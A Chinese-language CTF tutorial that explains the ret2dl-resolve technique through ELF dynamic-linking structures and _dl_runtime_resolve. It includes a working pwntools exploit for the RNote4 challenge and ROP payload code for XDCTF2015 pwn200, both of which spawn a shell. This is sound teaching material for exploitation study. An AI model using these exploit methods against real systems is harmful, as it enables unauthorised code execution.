[新手向]ret2dl-resolve詳解

Editor發表於2018-06-01


0x00 前言

最近做RCTF,結果pwn一道沒做出來(雖然精力全放在更擅長的 reverse上了),然後覆盤的時候發現RNote4有個關於 ret2dl-resolve 的利用,遂在網上查之,發現很多資料講的不是很清楚,但是還是慢慢琢磨弄懂了。

這個技巧貌似是一個挺基礎的技巧,玩pwn一段時間了,發現自己還有這種知識遺漏,所以這篇文章新手向,大神可以繞道了......


0x01 ELF檔案格式以及動態連結

我們知道,無論是windows下還是linux下,程式想要呼叫其他動態連結庫的函式,必須要在程式載入的時候動態連結,比方說,windows下,叫作IAT表,linux下,叫作GOT表。

呼叫庫函式時,會有個類似call [xxx] 或者 jmp [xxx]的指令,其中xxx是IAT表或者GOT表的地址。在這裡因為是linux的pwn,我們主要討論GOT表,以及在linux下更為常見的jmp [xxx]。

linux如何呼叫庫函式

首先一個hello world程式

#include

int main()

{

  puts("Hello Pwn\n");

  return 0;

}//gcc -m32 -fno-stack-protector -no-pie -s hellopwn.c

其中,這個puts是呼叫的libc這個動態連結庫匯出的一個函式。編譯它,看看puts是怎麼被呼叫的。

push    offset s        ; "Hello Pwn\n"

call    _puts ;這裡呼叫puts

_puts:

jmp    ds:off_804A00C ; puts會call到這裡,這裡就是“jmp [GOT表地址]”的這樣一條指令

跟一下,看看這個 off_804A00C 在第一次呼叫時是什麼東西

[新手向]ret2dl-resolve詳解

可以發現,是0x80482e6這個地址,並不直接是libc的puts函式的地址。這是因為linux在程式載入時使用了延遲繫結(lazy load),只有等到這個函式被呼叫了,才去把這個函式在libc的地址放到GOT表中。

接下來,會再push一個0,再push一個 dword ptr [0x804a004],待會會說這兩個引數是什麼意思,最後跳到libc的 _dl_runtime_resolve 去執行。

這個函式的目的,是根據2個引數獲取到匯出函式(這裡是puts)的地址,然後放到相應的GOT表,並且呼叫它。而這個函式的地址也是從GOT表取並且jmp [xxx]過去的,但是這個函式不會延遲繫結,因為所有函式都是用它做的延遲繫結,如果把它也延遲繫結就會出現先有雞還是先有蛋的問題了。

ELF關於動態連結的一些關鍵section

section,segment是什麼東西不說了,不知道的話呢谷歌百度一下。

.dynamic

包含了一些關於動態連結的關鍵資訊,在這個hellopwn上它長這樣,事實上這個section所有程式都差不多

[新手向]ret2dl-resolve詳解

這個section的用處就是他包含了很多動態連結所需的關鍵資訊,我們現在只關心DT_STRTAB, DT_SYMTAB, DT_JMPREL這三項,這三個東西分別包含了指向.dynstr, .dynsym, .rel.plt這3個section的指標,可以readelf -S hellopwn看一下,會發現這三個section的地址跟在上圖所示的地址是一樣的。

.dynstr

[新手向]ret2dl-resolve詳解

一個字串表,index為0的地方永遠是0,然後後面是動態連結所需的字串,0結尾,包括匯入函式名,比方說這裡很明顯有個puts。到時候,相關資料結構引用一個字串時,用的是相對這個section頭的偏移,比方說,在這裡,就是字串相對0x804821C的偏移。

.dynsym

[新手向]ret2dl-resolve詳解

這個東西,是一個符號表(結構體陣列),裡面記錄了各種符號的資訊,每個結構體對應一個符號。我們這裡只關心函式符號,比方說上面的puts。結構體定義如下

typedef struct

{

  Elf32_Word    st_name; //符號名,是相對.dynstr起始的偏移,這種引用字串的方式在前面說過了

  Elf32_Addr    st_value;

  Elf32_Word    st_size;

  unsigned char st_info; //對於匯入函式符號而言,它是0x12

  unsigned char st_other;

  Elf32_Section st_shndx;

}Elf32_Sym; //對於匯入函式符號而言,其他欄位都是0

.rel.plt

[新手向]ret2dl-resolve詳解

這裡是重定位表(不過跟windows那個重定位表概念不同),也是一個結構體陣列,每個項對應一個匯入函式。結構體定義如下:

typedef struct

{

  Elf32_Addr    r_offset; //指向GOT表的指標

  Elf32_Word    r_info;

  //一些關於匯入符號的資訊,我們只關心從第二個位元組開始的值((val)>>8),忽略那個07

  //1和3是這個匯入函式的符號在.dynsym中的下標,

  //如果往回看的話你會發現1和3剛好和.dynsym的puts和__libc_start_main對應

} Elf32_Rel;

_dl_runtime_resolve做了什麼

這個想要深入理解的話呢可以去看glibc/elf/dl-runtime.c的原始碼,這裡我就不貼了,因為有一堆巨集,看著讓人暈,我就直接說下他做了哪些事情。

首先說第一個引數,[0x804a004]是一個link_map的指標,這個結構是幹什麼的,我們不關心,但是有一點要知道,它包含了.dynamic的指標,通過這個link_map,_dl_runtime_resolve函式可以訪問到.dynamic這個section

[新手向]ret2dl-resolve詳解

0x08049f14是.dynamic的指標,與前面圖中一致;而第二個引數,是當前要呼叫的匯入函式在.rel.plt中的偏移(不過64位的話就直接是index下標),比方說這裡,puts就是0,__libc_start_main就是1*sizeof(Elf32_Rel)=8。

_dl_runtime_resolve會

用link_map訪問.dynamic,取出.dynstr, .dynsym, .rel.plt的指標

.rel.plt + 第二個引數求出當前函式的重定位表項Elf32_Rel的指標,記作rel

rel->r_info >> 8作為.dynsym的下標,求出當前函式的符號表項Elf32_Sym的指標,記作sym

.dynstr + sym->st_name得出符號名字串指標

在動態連結庫查詢這個函式的地址,並且把地址賦值給*rel->r_offset,即GOT表

呼叫這個函式

如果閱讀libc原始碼的話會發現實際順序可能跟我上面所說的有一點偏差,不過意思都一樣,我這樣說會比較好理解。


0x02 ret2dl-resolve 利用

那麼,這個怎麼去利用呢,有兩種利用方式

改寫.dynamic的DT_STRTAB

這個只有在checksec時No RELRO可行,即.dynamic可寫。因為ret2dl-resolve會從.dynamic裡面拿.dynstr字串表的指標,然後加上offset取得函式名並且在動態連結庫中搜尋這個函式名,然後呼叫。而假如說我們能夠改寫這個指標到一塊我們能夠操縱的記憶體空間,當resolve的時候,就能resolve成我們所指定的任意庫函式。比方說,原本是一個free函式,我們就把原本是free字串的那個偏移位置設為system字串,第一次呼叫free("bin/sh")(因為只有第一次才會resolve),就等於呼叫了system("/bin/sh")。

例題就是RCTF的RNote4,題目是一道堆溢位,NO RELRO而且NO PIE溢位到後面的指標可以實現任意地址寫。

unsigned __int64 edit()

{

  unsigned __int8 a1; // [rsp+Eh] [rbp-12h]

  unsigned __int8 size; // [rsp+Fh] [rbp-11h]

  note *v3; // [rsp+10h] [rbp-10h]

  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);

  a1 = 0;

  read_buf((char *)&a1, 1u);

  if ( !notes[a1] )

    exit(-1);

  v3 = notes[a1];

  size = 0;

  read_buf((char *)&size, 1u);

  read_buf(v3->buf, size);                      // heap overflow堆溢位

  return __readfsqword(0x28u) ^ v4;

}

unsigned __int64 add()

{

  unsigned __int8 size; // [rsp+Bh] [rbp-15h]

  int i; // [rsp+Ch] [rbp-14h]

  note *v3; // [rsp+10h] [rbp-10h]

  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);

  if ( number > 32 )

    exit(-1);

  size = 0;

  v3 = (note *)calloc(0x10uLL, 1uLL);

  if ( !v3 )

    exit(-1);

  read_buf((char *)&size, 1u);

  if ( !size )

    exit(-1);

  v3->buf = (char *)calloc(size, 1uLL); //堆中存放了指標,所以可以通過這個任意寫

  if ( !v3->buf )

    exit(-1);

  read_buf(v3->buf, size);

  v3->size = size;

  for ( i = 0; i <= 31 && notes[i]; ++i )

    ;

  notes[i] = v3;

  ++number;

  return __readfsqword(0x28u) ^ v4;

}


所以呢,可以先add兩個note,然後編輯第一個note使得堆溢位到第二個note的指標,然後再修改第二個note,實現任意寫。至於寫什麼,剛剛也說了,先寫.dynamic指向字串表的指標,使其指向一塊可寫記憶體,比如.bss,然後再寫這塊記憶體,使得相應偏移出剛好有個system\x00。exp如下


from pwn import *

g_local=True

#e=ELF('./libc.so.6')

#context.log_level='debug'

if g_local:

    sh =process('./RNote4')#env={'LD_PRELOAD':'./libc.so.6'}

    gdb.attach(sh)

else:

    sh = remote("rnote4.2018.teamrois.cn", 6767)

def add(content):

    assert len(content) < 256

    sh.send("\x01")

    sh.send(chr(len(content)))

    sh.send(content)

def edit(idx, content):

    assert idx < 32 and len(content) < 256

    sh.send("\x02")

    sh.send(chr(idx))

    sh.send(chr(len(content)))

    sh.send(content)

def delete(idx):

    assert idx < 32

    sh.send("\x03")

    sh.send(chr(idx))

#偽造的字串表,(0x457-0x3f8)剛好是"free\x00"字串的偏移

payload = "C" * (0x457-0x3f8) + "system\x00"

#先新建兩個notes

add("/bin/sh\x00" + "A" * 0x10)

add("/bin/sh\x00" + "B" * 0x10)

#溢位時儘量保證堆塊不被破壞,不過這裡不會再做堆的操作了其實也無所謂

edit(0, "/bin/sh\x00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x601EB0))

#將0x601EB0,即.dynamic的字串表指標,寫成0x6020C8

edit(1, p64(0x6020C8))

edit(0, "/bin/sh\x00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x6020C8))

#在0x6020C8處寫入偽造的字串表

edit(1, payload)

#會第一次呼叫free,所以實際上是system("/bin/sh")被呼叫,如前面所說

delete(0)

sh.interactive()


操縱第二個引數,使其指向我們所構造的Elf32_Rel


如果.dynamic不可寫,那麼以上方法就沒用了,所以有第二種利用方法。要知道,前面的_dl_runtime_resolve在第二步時

.rel.plt + 第二個引數求出當前函式的重定位表項Elf32_Rel的指標,記作rel

這個時候,_dl_runtime_resolve並沒有檢查.rel.plt + 第二個引數後是否造成越界訪問,所以我們能給一個很大的.rel.plt的offset(64位的話就是下標),然後使得加上去之後的地址指向我們所能操縱的一塊記憶體空間,比方說.bss。


然後第三步


rel->r_info >> 8作為.dynsym的下標,求出當前函式的符號表項Elf32_Sym的指標,記作sym

所以在我們所偽造的Elf32_Rel,需要放一個r_info欄位,大概長這樣就行0xXXXXXX07,其中XXXXXX是相對.dynsym表的下標,注意不是偏移,所以是偏移除以Elf32_Sym的大小,即除以0x10(32位下)。然後這裡同樣也沒有進行越界訪問的檢查,所以可以用類似的方法,偽造出這個Elf32_Sym。至於為什麼是07,因為這是一個匯入函式,而匯入函式一般都是07,所以寫成07就好。


然後第四步


.dynstr + sym->st_name得出符號名字串指標

同樣類似,沒有進行越界訪問檢查,所以這個字串也能夠偽造。

所以,最終的利用思路,大概是

[新手向]ret2dl-resolve詳解


構造ROP,跳轉到resolve的PLT,push link_map的位置,就是上圖所示的這個地方。此時,棧中必須要有已經偽造好的指向偽造的Elf32_Rel的偏移,然後是返回地址(system的話無所謂),再然後是引數(如果是system函式的話就要是指向"/bin/sh\x00"的指標)


最後來道經典例題,


int __cdecl main(int a1)

{

  size_t v1; // eax

  char buf[4]; // [esp+0h] [ebp-6Ch]

  char v4; // [esp+18h] [ebp-54h]

  int *v5; // [esp+64h] [ebp-8h]

  v5 = &a1;

  strcpy(buf, "Welcome to XDCTF2015~!\n");

  memset(&v4, 0, 0x4Cu);

  setbuf(stdout, buf);

  v1 = strlen(buf);

  write(1, buf, v1);

  vuln();

  return 0;

}

ssize_t vuln()

{

  char buf[108]; // [esp+Ch] [ebp-6Ch]

  setbuf(stdin, buf);

  return read(0, buf, 256u); //棧溢位

}

//gcc -m32 -fno-stack-protector -no-pie -s pwn200.c


明顯的棧溢位,但是沒給libc,ROPgadget也少,所以要用ret2dl-resolve。


利用思路如下:


第一次呼叫read函式,返回地址再溢位成read函式,這次引數給一個.bss的地址,裡面放我們的payload,包括所有偽造的資料結構以及ROP。注意ROP要放在資料結構的前面,不然ROP呼叫時有可能汙染我們偽造的資料結構,而且前面要預留一段空間給ROP所呼叫的函式用。呼叫完第二個read之後,ROP到leave; retn的地址,以便切棧切到在.bss中我們構造的下一個ROP鏈


payload1 = "A" * 108

payload1 += p32(NEXT_ROP) # ebp會在這裡被pop出來,到時候leave就可以切棧

payload1 += p32(READ_ADDR)

payload1 += p32(LEAVE_RETN)

payload1 += p32(0)

payload1 += p32(BUFFER - ROP_SIZE)

payload1 += p32(0x100)

payload1 += "P" * (0x100 - len(payload1))

sh.send(payload1)


第二次呼叫read函式,此時要sendROP鏈以及所有相關的偽造資料結構


fake_Elf32_Rel = p32(STRLEN_GOT)

fake_Elf32_Rel += p32(FAKE_SYMTAB_IDX)

fake_Elf32_Sym = p32(FAKE_STR_OFF)

fake_Elf32_Sym += p32(0)

fake_Elf32_Sym += p32(0)

fake_Elf32_Sym += chr(0x12) + chr(0) + p16(0) # 其它欄位直接照抄IDA裡面的資料就好

strings = "system\x00/bin/sh\x00\x00"

rop = p32(0) # pop ebp, 隨便設反正不用了

rop += p32(DYN_RESOL_PLT) # resolve的PLT,就是前面說的push link_map那個位置

rop += p32(FAKE_REL_OFF) # 偽造的重定位表OFFSET

rop += "AAAA" # 返回地址,不用了隨便設

rop += p32(BIN_SH_ADDR) # 引數,"/bin/sh"

payload2 = rop + fake_Elf32_Rel + fake_Elf32_Sym + strings

sh.send(payload2)


至於offset這些東西要自己慢慢擼,反正我搞了挺久的。就在IDA裡把地址copy出來然後慢慢算偏移就好了。


完整exp寫的有點醜,放附件了。(去原帖檢視)


PS: 其他一些大佬部落格的exp我沒有很看懂,不知道為啥要寫那麼長。我是弄懂了方法就按照自己的思路寫的,不過也對就是了......


然後貌似有個自動得出ROP的工具叫作roputils,這樣就不用自己搞這麼一串ROP了。不過用工具前還是要先搞懂原理的不然就成指令碼小子了嘛......


偽造link_map?


貌似也可行,而且64位下link_map+0x1c8 好像要置0,所以可能要自己偽造link_map。但是link_map結構有點複雜,網上也沒有關於這種利用方式的資料,以後有空會再研究一下。


0x03 參考資料


1. http://phrack.org/issues/58/4.html

2. http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

3. http://showlinkroom.me/2017/04/09/ret2dl-resolve/

4. https://0x00sec.org/t/linux-internals-the-art-of-symbol-resolution/1488

5. https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.3_pwn_xdctf2015_pwn200.md

6. https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf



原文連結:[原創][新手向]ret2dl-resolve詳解-『Pwn』-看雪安全論壇


本文由看雪論壇 holing  原創

轉載請註明來自看雪社群


相關文章